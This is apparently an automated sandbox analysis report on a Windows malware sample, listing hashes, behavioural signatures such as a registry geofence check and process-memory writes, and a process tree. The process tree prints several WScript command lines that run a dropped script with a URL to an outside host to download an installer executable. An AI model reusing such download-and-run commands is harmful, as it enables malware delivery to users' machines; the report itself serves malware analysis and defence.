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Analysis
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max time kernel
134s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
31/05/2024, 09:51
Static task
static1
Behavioral task
behavioral1
Sample
8695849edc287a9761aea3bab6a6feb1_JaffaCakes118.exe
Resource
win7-20240419-en
Behavioral task
behavioral2
Sample
8695849edc287a9761aea3bab6a6feb1_JaffaCakes118.exe
Resource
win10v2004-20240508-en
General
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Target
8695849edc287a9761aea3bab6a6feb1_JaffaCakes118.exe
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Size
184KB
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MD5
8695849edc287a9761aea3bab6a6feb1
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SHA1
83bab866fb8ad5bc85e3024133799ff6d45add46
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SHA256
91a34986c15dc37ac33b15e677f21940d992cf2c31b5af85d9ead18b251ef8a0
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SHA512
ddb6ccf813f7d7a7f888417569c3fe5e4953ba832b1581231c5016062859292fe4d7c3faf9d98dd0c8987fe2c43c45501c7740ff80404b21d4286cafe30479b2
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SSDEEP
3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3r:/7BSH8zUB+nGESaaRvoB7FJNndnO
Malware Config
Signatures
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Blocklisted process makes network request 5 IoCs
flow pid Process 6 1588 WScript.exe 38 4576 WScript.exe 40 3532 WScript.exe 52 3152 WScript.exe 54 4840 WScript.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation 8695849edc287a9761aea3bab6a6feb1_JaffaCakes118.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings 8695849edc287a9761aea3bab6a6feb1_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 2236 wrote to memory of 1588 2236 8695849edc287a9761aea3bab6a6feb1_JaffaCakes118.exe 82 PID 2236 wrote to memory of 1588 2236 8695849edc287a9761aea3bab6a6feb1_JaffaCakes118.exe 82 PID 2236 wrote to memory of 1588 2236 8695849edc287a9761aea3bab6a6feb1_JaffaCakes118.exe 82 PID 2236 wrote to memory of 4576 2236 8695849edc287a9761aea3bab6a6feb1_JaffaCakes118.exe 95 PID 2236 wrote to memory of 4576 2236 8695849edc287a9761aea3bab6a6feb1_JaffaCakes118.exe 95 PID 2236 wrote to memory of 4576 2236 8695849edc287a9761aea3bab6a6feb1_JaffaCakes118.exe 95 PID 2236 wrote to memory of 3532 2236 8695849edc287a9761aea3bab6a6feb1_JaffaCakes118.exe 96 PID 2236 wrote to memory of 3532 2236 8695849edc287a9761aea3bab6a6feb1_JaffaCakes118.exe 96 PID 2236 wrote to memory of 3532 2236 8695849edc287a9761aea3bab6a6feb1_JaffaCakes118.exe 96 PID 2236 wrote to memory of 3152 2236 8695849edc287a9761aea3bab6a6feb1_JaffaCakes118.exe 99 PID 2236 wrote to memory of 3152 2236 8695849edc287a9761aea3bab6a6feb1_JaffaCakes118.exe 99 PID 2236 wrote to memory of 3152 2236 8695849edc287a9761aea3bab6a6feb1_JaffaCakes118.exe 99 PID 2236 wrote to memory of 4840 2236 8695849edc287a9761aea3bab6a6feb1_JaffaCakes118.exe 100 PID 2236 wrote to memory of 4840 2236 8695849edc287a9761aea3bab6a6feb1_JaffaCakes118.exe 100 PID 2236 wrote to memory of 4840 2236 8695849edc287a9761aea3bab6a6feb1_JaffaCakes118.exe 100
Processes
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C:\Users\Admin\AppData\Local\Temp\8695849edc287a9761aea3bab6a6feb1_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\8695849edc287a9761aea3bab6a6feb1_JaffaCakes118.exe"1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2236 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4314.js" http://www.djapp.info/?domain=gFGYbUEsPC.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4314.exe2⤵
- Blocklisted process makes network request
PID:1588
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4314.js" http://www.djapp.info/?domain=gFGYbUEsPC.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4314.exe2⤵
- Blocklisted process makes network request
PID:4576
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4314.js" http://www.djapp.info/?domain=gFGYbUEsPC.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4314.exe2⤵
- Blocklisted process makes network request
PID:3532
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4314.js" http://www.djapp.info/?domain=gFGYbUEsPC.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4314.exe2⤵
- Blocklisted process makes network request
PID:3152
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4314.js" http://www.djapp.info/?domain=gFGYbUEsPC.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4314.exe2⤵
- Blocklisted process makes network request
PID:4840
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
3KB
MD53813cab188d1de6f92f8b82c2059991b
SHA14807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA51283b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76